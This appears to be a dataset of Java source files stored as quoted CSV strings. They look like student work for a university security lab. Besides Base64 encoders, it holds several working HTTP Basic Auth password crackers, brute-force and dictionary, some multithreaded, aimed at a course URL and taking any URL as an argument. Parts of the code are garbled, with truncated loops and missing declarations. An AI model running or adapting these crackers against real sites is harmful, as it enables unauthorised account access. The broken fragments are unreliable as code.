i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",250.java," class C { private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + "":"" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }" 059.java," public class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",159.java," class BasicAuth { public BasicAuth() {} private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + "":"" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }" 188.java," import java.awt.*; import java.String; import java.util.*; import java.io.*; import java.net.*; public class BruteForce { private URL url; private HttpURLConnection connection ; private int stopTime = 0; private int startTime = 0; private int count = 0; public BruteForce() { System.out.println(""Process is running...""); startTime = System.currentTimeMillis(); threeLetters(); twoLetters(); } public static void main (String args[]) { BruteForce bf = new BruteForce(); } public void threeLetters() { String s1; char [] a = {'a','a','a'}; for (int i0 = 0; i0 < 26; i0++) { for (int i1 = 0; i1 < 26; i1++) { for (int i2 = 0; i2 < 26; i2++) { s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) + String.valueOf((char)(a[2] + i2)); decision(s1); count++; s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + (String.valueOf((char)(a[1] + i1))).toUpperCase() + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2)); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) + String.valueOf((char)(a[2] + i2)); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2)); decision(s1); count++; } } } } public void twoLetters() { String s1; char [] a = {'a','a'}; for (int i0 = 0; i0 < 26; i0++) { for (int i1 = 0; i1 < 26; i1++) { s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)); decision(s1); count++; s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + (String.valueOf((char)(a[1] + i1))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)); decision(s1); count++; } } } public void decision(String s1) { if (find(s1) == 200) { stopTime = System.currentTimeMillis(); runTime = stopTime - startTime; System.out.println(""***************************************""); System.out.println(""\nAttack successfully""); System.out.println(""\nPassword is: "" + s1); System.out.println(""\nThe contents of the Web site: ""); displayContent(s1); System.out.println(""\nTime taken crack: "" + runTime + "" millisecond""); System.out.println(""\nNumber of attempts: "" + count); System.out.println(); System.exit(0); } } public int find(String s1) { int responseCode = 0; try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1)); responseCode = connection.getResponseCode(); }catch (Exception e) { System.out.println(e.getMessage()); } return responseCode; } public void displayContent(String pw) { BufferedReader bw = null ; try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw)); InputStream stream = (InputStream)(connection.getContent()); if (stream != null) { InputStreamReader reader = new InputStreamReader (stream); bw = new BufferedReader (reader); String line; while ((line = bw.readLine()) != null) { System.out.println(line); } } } catch (IOException e) { System.out.println(e.getMessage()); } } } ",190.java," import java.awt.*; import java.String; import java.util.*; import java.io.*; import java.net.*; public class Dictionary { private URL url; private HttpURLConnection connection ; private int stopTime = 0; private int startTime = 0; private int count = 0; public Dictionary() { System.out.println(""Process is running...""); startTime = System.currentTimeMillis(); findWords(); } public static void main(String args[]) { Dictionary sc = new Dictionary(); } public void findWords() { try { BufferedReader input = new BufferedReader(new FileReader (""words"")); String text; while ((text = input.readLine()) != null) { if ((text.length() == 3) || (text.length() == 2)) { count++; decision(text); } } } catch (IOException io) { System.out.println(""File Error: "" + io.getMessage()); } } public void decision(String s1) { if (find(s1) == 200) { stopTime = System.currentTimeMillis(); runTime = stopTime - startTime; System.out.println(""***************************************""); System.out.println(""\nAttack successfully""); System.out.println(""\nPassword is: "" + s1); System.out.println(""\nThe contents of the Web site: ""); displayContent(s1); System.out.println(""\nTime taken crack: "" + runTime + "" millisecond""); System.out.println(""\nNumber of attempts: "" + count); System.out.println(); System.exit(0); } } public int find(String s1) { int responseCode = 0; try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1)); responseCode = connection.getResponseCode(); }catch (Exception e) { System.out.println(e.getMessage()); } return responseCode; } public void displayContent(String pw) { BufferedReader bw = null ; try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw)); InputStream stream = (InputStream)(connection.getContent()); if (stream != null) { InputStreamReader reader = new InputStreamReader (stream); bw = new BufferedReader (reader); String line; while ((line = bw.readLine()) != null) { System.out.println(line); } } } catch (IOException e) { System.out.println(e.getMessage()); } } } " 014.java," import java.util.*; import java.net.*; import java.io.*; import misc.BASE64Encoder; import javax.swing.*; public class ConnectionThread extends Thread { private String url; private URL currURL; private URLConnection conn; private HoldSharedData sharedData; private int noOfThread; private int batch; public ConnectionThread( String pageURL, int wThread, int newBatch, HoldSharedData data ) { super(); url = pageURL; noOfThread = wThread ; batch = newBatch; sharedData = data; } public void run() { try { currURL = new URL( url ); for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) && (i < sharedData.getPwdCount()); i ++ ) { String pwd = sharedData.getPasswordAt( i ); conn = currURL.openConnection(); if (conn instanceof HttpURLConnection) { HttpURLConnection hconn = (HttpURLConnection) conn; hconn.setFollowRedirects(false); String cad = "" "" + based64Encoder( "":"" + pwd ); hconn.setRequestProperty( ""Authorization"", cad ); hconn.connect(); int response = hconn.getResponseCode(); sharedData.setNumOfConnections(); if( response == 200 ) { totalTime = System.currentTimeMillis() - sharedData.getStartTime(); int numOfConnections = sharedData.getNumOfConnections(); System.out.println( ""Password is "" + pwd ); System.out.println( ""Total Time(seconds)="" + (double)totalTime/1000 ); System.out.println( ""Number Of Connections: "" + numOfConnections ); System.exit(0); } else { hconn.disconnect(); } } } } catch( MalformedURLException mue ) { String msg = ""Unable parse URL: "" + url; System.err.println( msg ); } catch( IOException ioe ) { System.err.println( ""I/O Error : "" + ioe ); } } private String based64Encoder( String pwd ) { String str = pwd; byte[] buf = str.getBytes(); String encodedStr = new misc.BASE64Encoder().encode(buf); return encodedStr; } } ",021.java," import java.util.*; import java.net.*; import java.io.*; import misc.BASE64Encoder; import javax.swing.*; public class ConnectionThread extends Thread { private String url; private URL currURL; private URLConnection conn; private HoldSharedData sharedData; private int noOfThread; private int batch; public ConnectionThread( String pageURL, int wThread, int newBatch, HoldSharedData data ) { super(); url = pageURL; noOfThread = wThread; batch = newBatch; sharedData = data; } public void run() { try { currURL = new URL( url ); for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) && (i < sharedData.getPwdCount()); i ++ ) { String pwd = sharedData.getPasswordAt( i ); conn = currURL.openConnection(); if (conn instanceof HttpURLConnection) { HttpURLConnection hconn = (HttpURLConnection) conn; hconn.setFollowRedirects(false); String cad = "" "" + based64Encoder( "":"" + pwd ); hconn.setRequestProperty( ""Authorization"", cad ); hconn.connect(); int response = hconn.getResponseCode(); sharedData.setNumOfConnections(); if( response == 200 ) { totalTime = System.currentTimeMillis() - sharedData.getStartTime(); int numOfConnections = sharedData.getNumOfConnections(); System.out.println( ""Password is "" + pwd ); System.out.println( ""Total Time(seconds)= "" + (double)totalTime/1000 ); System.out.println( ""Total Number Of Connections: "" + numOfConnections ); System.exit(0); } else { hconn.disconnect(); } } } } catch( MalformedURLException mue ) { String msg = ""Unable parse URL: "" + url; System.err.println( msg ); } catch( IOException ioe ) { System.err.println( ""I/O Error : "" + ioe ); } } private String based64Encoder( String pwd ) { String str = pwd; byte[] buf = str.getBytes(); String encodedStr = new misc.BASE64Encoder().encode(buf); return encodedStr; } } " 062.java," import java.util.*; import java.*; import java.awt.*; import java.net.*; import java.io.*; import java.text.*; public class BruteForce { public static String Base64Encode(String s) { byte[] bb = s.getBytes(); byte[] b = bb; char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '0','1','2','3','4','5','6','7','8','9','+','/' }; if (bb.length % 3!=0) { int x1 = bb.length; b = new byte[(x1/3+1)*3]; int x2 = b.length; for(int i=0;i> 2)]; c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; c[j+3] = table[(b[i+2] & 63)]; i+=3; j+=4; } j = c.length-1; while (c[j]=='A') { c[j]='='; j--; } return String.valueOf(c); } public synchronized void getAccumulatedLocalAttempt() { attempt = 0; for (int i=0;i=0); } public synchronized void waitUntilAllTerminated() { while (curconn>0) { try { wait(); } catch (InterruptedException e) {} } } public synchronized int waitUntilOK2Connect() { boolean interruptd= false; int idx = -1; while (curconn>=MAXCONN) { try { wait(); } catch (InterruptedException e) { interruptd = true; } } if (!interruptd) { curconn++; for (idx=0;idx=0) { if (idx>=idxLimit[i]) { int nchar = i + 1; idx-=idxLimit[i]; for (int j=0;jALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); } mult = (ALLCOMBI - idxstart) / MAXTHREAD; for (thcount=0;thcount=0) { System.out.println(); System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************""); System.out.println(); System.out.println("" The password is : ""+passw); System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); System.out.println("" Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds""); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } else { System.out.println(); System.out.println("" ********************* [ UNABLE CRACK THE URL !!! ] *********************""); System.out.println(); System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } } } public static void printSyntax() { System.out.println(); System.out.println(""Syntax : BruteForce [mode] [URL] [charset] [] [] [username]""); System.out.println(); System.out.println("" mode : (opt) 0 - NAIVE Brute force mode""); System.out.println("" (trying from the first the last combinations)""); System.out.println("" 1 - ENHANCED Brute force mode""); System.out.println("" (dividing cracking jobs multiple threads) (default)""); System.out.println("" URL : (opt) the URL crack ""); System.out.println("" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)""); System.out.println("" charset : (optional) the character set used crack.""); System.out.println("" - (default)""); System.out.println("" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); System.out.println("" -alphanum ""); System.out.println("" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890""); System.out.println("" -alphalow ""); System.out.println("" abcdefghijklmnopqrstuvwxyz""); System.out.println("" -alphaup ""); System.out.println("" ABCDEFGHIJKLMNOPQRSTUVWXYZ""); System.out.println("" -number ""); System.out.println("" 1234567890""); System.out.println("" [custom] e.g. aAbB123""); System.out.println("" , : (optional) range of characters applied in the cracking""); System.out.println("" where 1 <= <= 10 (default = 1)""); System.out.println("" <= <= 10 (default = 3)""); System.out.println("" username : (optional) the username that is used crack""); System.out.println(); System.out.println("" NOTE: The optional parameters 'charset','','', and 'username'""); System.out.println("" have specified altogether none at all.""); System.out.println("" For example, if [charset] is specified, then [], [], and""); System.out.println("" [username] have specified as well. If none of them specified,""); System.out.println("" default values used.""); System.out.println(); System.out.println("" Example of invocation :""); System.out.println("" java BruteForce ""); System.out.println("" java BruteForce 0""); System.out.println("" java BruteForce 1 http://localhost/tryme.php""); System.out.println("" java BruteForce 0 http://localhost/tryme.php - 1 3 ""); System.out.println("" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ""); System.out.println(); System.out.println(); } public static void countIdxLimit() { idxLimit = new int[MAXCHAR+1]; NCHAR = charset.length(); ALLCOMBI = 0; for (int i=0;i<=MAXCHAR;i++) { if (i==0) { idxLimit[i] = 0; } else { idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i); } } ALLCOMBI = idxLimit[idxLimit.length-1]; } public static void paramCheck(String[] args) { int argc = args.length; try { switch (Integer.valueOf(args[0]).intValue()) { case 0: { isenhanced = false; } break; case 1: { isenhanced = true; } break; default: System.out.println(""Syntax error : invalid mode '""+args[0]+""'""); printSyntax(); System.exit(1); } } catch (NumberFormatException e) { System.out.println(""Syntax error : invalid number '""+args[0]+""'""); printSyntax(); System.exit(1); } if (argc>1) { try { URL u = new URL(args[1]); try { HttpURLConnection conn = (HttpURLConnection) u.openConnection(); switch (conn.getResponseCode()) { case HttpURLConnection.HTTP_ACCEPTED: case HttpURLConnection.HTTP_OK: case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: case HttpURLConnection.HTTP_FORBIDDEN: case HttpURLConnection.HTTP_UNAUTHORIZED: break; default: System.out.println(""Unable open connection the URL '""+args[1]+""'""); System.exit(1); } } catch (IOException e) { System.out.println(e); System.exit(1); } THEURL = args[1]; } catch (MalformedURLException e) { System.out.println(""Invalid URL '""+args[1]+""'""); printSyntax(); System.exit(1); } } if (argc==6) { try { MINCHAR = Integer.valueOf(args[3]).intValue(); } catch (NumberFormatException e) { System.out.println(""Invalid range number value '""+args[3]+""'""); printSyntax(); System.exit(1); } try { MAXCHAR = Integer.valueOf(args[4]).intValue(); } catch (NumberFormatException e) { System.out.println(""Invalid range number value '""+args[4]+""'""); printSyntax(); System.exit(1); } if ((MINCHAR<1) || (MINCHAR>10)) { System.out.println(""Invalid range number value '""+args[3]+""' (must between 0 and 10)""); printSyntax(); System.exit(1); } else if (MINCHAR>MAXCHAR) { System.out.println(""Invalid range number value '""+args[3]+""' (must lower than the value)""); printSyntax(); System.exit(1); } if (MAXCHAR>10) { System.out.println(""Invalid range number value '""+args[4]+""' (must between value and 10)""); printSyntax(); System.exit(1); } if (args[2].toLowerCase().equals(""-"")) { charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; } else if (args[2].toLowerCase().equals(""-alphanum"")) { charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890""; } else if (args[2].toLowerCase().equals(""-alphalow"")) { charset = ""abcdefghijklmnopqrstuvwxyz""; } else if (args[2].toLowerCase().equals(""-alphaup"")) { charset = ""ABCDEFGHIJKLMNOPQRSTUVWXYZ""; } else if (args[2].toLowerCase().equals(""-number"")) { charset = ""1234567890""; } else { charset = args[2]; } USERNAME = args[5]; } else if ((argc>2) && (argc<6)) { System.out.println(""Please specify the [charset], [], [], and [username] altogether none at all""); printSyntax(); System.exit(1); } else if ((argc>2) && (argc>6)) { System.out.println(""The number of parameters expected is not more than 6. ""); System.out.println("" have specified more than 6 parameters.""); printSyntax(); System.exit(1); } } public static void main (String[] args) { charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; MINCHAR = 1; MAXCHAR = 3; if (args.length==0) { args = new String[6]; args[0] = String.valueOf(1); args[1] = THEURL; args[2] = ""-""; args[3] = String.valueOf(MINCHAR); args[4] = String.valueOf(MAXCHAR); args[5] = USERNAME; } paramCheck(args); countIdxLimit(); Application = new BruteForce(); } public static BruteForce Application; public static String THEURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; public static boolean isenhanced; public static String passw = """"; public static final int REPORT_INTERVAL = 10; public static int MAXTHREAD = 50; public static int MAXCONN = 50; public static int curconn = 0; public static int success = -1; public static String USERNAME = """"; public static int MINCHAR; public static int MAXCHAR; public static int ALLCOMBI; public static int start ,end; public static java.util.Timer reportTimer; public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; public static boolean connused[] = new boolean[MAXCONN]; public ThCrack[] threads = new ThCrack[MAXTHREAD]; public static int attempt = 0; public static int idxLimit; public static String charset; public static int NCHAR; } ",064.java," import java.util.*; import java.*; import java.awt.*; import java.net.*; import java.io.*; import java.text.*; public class Dictionary { public static String Base64Encode(String s) { byte[] bb = s.getBytes(); byte[] b = bb; char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '0','1','2','3','4','5','6','7','8','9','+','/' }; if (bb.length % 3!=0) { int x1 = bb.length; b = new byte[(x1/3+1)*3]; int x2 = b.length; for(int i=0;i> 2)]; c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; c[j+3] = table[(b[i+2] & 63)]; i+=3; j+=4; } j = c.length-1; while (c[j]=='A') { c[j]='='; j--; } return String.valueOf(c); } public synchronized void getAccumulatedLocalAttempt() { attempt = 0; for (int i=0;i=0); } public synchronized void waitUntilAllTerminated() { while (curconn>0) { try { wait(); } catch (InterruptedException e) {} } } public synchronized int waitUntilOK2Connect() { boolean interruptd= false; int idx = -1; while (curconn>=MAXCONN) { try { wait(); } catch (InterruptedException e) { interruptd = true; } } if (!interruptd) { curconn++; for (idx=0;idx=MINCHAR) && (s.length()<=MAXCHAR)) { w.println(s); ALLCOMBI++; } } b.print(); w.print(); } catch (FileNotFoundException e) { System.out.println(""Unable open the DICTIONARY file '""+DICTIONARY+""'""); System.exit(0); } catch (IOException e) { System.out.println(""Error in the DICTIONARY file '""+DICTIONARY+""'""); System.exit(0); } } public class ThCrack extends Thread { public ThCrack(int threadID, int startidx, int endidx) { super("" Thread #""+String.valueOf(threadID)+"": ""); this.ID = threadID; this.startidx = startidx; this.endidx = endidx; if (endidx>=startidx+MAXCACHE-1) { this.localDict = new String[MAXCACHE]; this.localDict = fetchWords(startidx,MAXCACHE); lastFetchIdx = startidx+MAXCACHE-1; } else { this.localDict = new String[(int)(endidx-startidx+1)]; this.localDict = fetchWords(startidx,(int)(endidx-startidx+1)); lastFetchIdx = endidx; } setDaemon(true); } public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException { int i; String msg; URL tryURL = new URL(THEURL); connections[connID]=(HttpURLConnection) tryURL.openConnection(); connections[connID].setRequestProperty(""Authorization"","" ""+Base64Encode(USERNAME+"":""+thePass)); i = connections[connID].getResponseCode(); msg = connections[connID].getResponseMessage(); connections[connID].disconnect(); if (i==HttpURLConnection.HTTP_OK) { System.out.println(ID+""Trying '""+thePass+""' GOTCHA !!! (= ""+String.valueOf()+""-""+msg+"").""); setSuccess(this.ID,thePass); return (true); } else { System.out.println(ID+""Trying '""+thePass+""' FAILED (= ""+String.valueOf()+""-""+msg+"").""); return (false); } } public void rest(int msec) { try { sleep(msec); } catch (InterruptedException e) {} } public String getCacheIdx(int idx) { if (idx<=lastFetchIdx) { return localDict[localDict.length-(int)(lastFetchIdx-idx)-1]; } else { if (lastFetchIdx+localDict.length-1>endidx) { this.localDict = fetchWords(lastFetchIdx+1,(int)(endidx-lastFetchIdx-1)); lastFetchIdx = endidx; } else { this.localDict = fetchWords(lastFetchIdx+1,localDict.length); lastFetchIdx = lastFetchIdx+localDict.length; } return localDict[localDict.length-(int)(lastFetchIdx-idx)-1]; } } public String constructPassword(int idx) { return getCacheIdx(idx); } public String getStartStr() { return fetchWord(this.startidx); } public String getEndStr() { return fetchWord(this.endidx); } public void run() { i = startidx; boolean keeprunning = true; while ((!isSuccess()) && (i<=endidx) && (keeprunning)) { int idx = waitUntilOK2Connect(); if (idx==-1) { break; } try { String s = constructPassword(i); if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR)) launchRequest(getName(), idx, s); else System.out.println(getName()+""skipping '""+s+""'""); decreaseConn(idx); localattempt++; rest(MAXCONN); i++; } catch (InterruptedException e) { keeprunning = false; break; } catch (IOException e) { decreaseConn(idx); } } if (success==this.ID) { waitUntilAllTerminated(); } } public int getLocalAttempt() { return localattempt; } private int startidx,endidx; private int ID; private int localattempt = 0; private String localDict[]; private int lastFetchIdx; } public void printProgramHeader(String mode,int nThread) { System.out.println(); System.out.println("" ********************** [ DICTIONARY CRACKING SYSTEM ] *********************""); System.out.println(); System.out.println("" URL : ""+THEURL); System.out.println("" Crack Mode : ""+mode); System.out.println("" . Char : ""+MINCHAR); System.out.println("" . Char : ""+MAXCHAR); System.out.println("" # of Thread : ""+nThread); System.out.println("" Connections : ""+MAXCONN); System.out.println("" All Combi. : ""+ALLCOMBI); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } public void startNaiveCracking() { MAXTHREAD = 1; MAXCONN = 1; startDistCracking(); } public void startDistCracking() { int startidx,endidx; int thcount; if (isenhanced) { printProgramHeader(""ENHANCED DICTIONARY CRACKING ALGORITHM"",MAXTHREAD); } else { printProgramHeader(""NAIVE 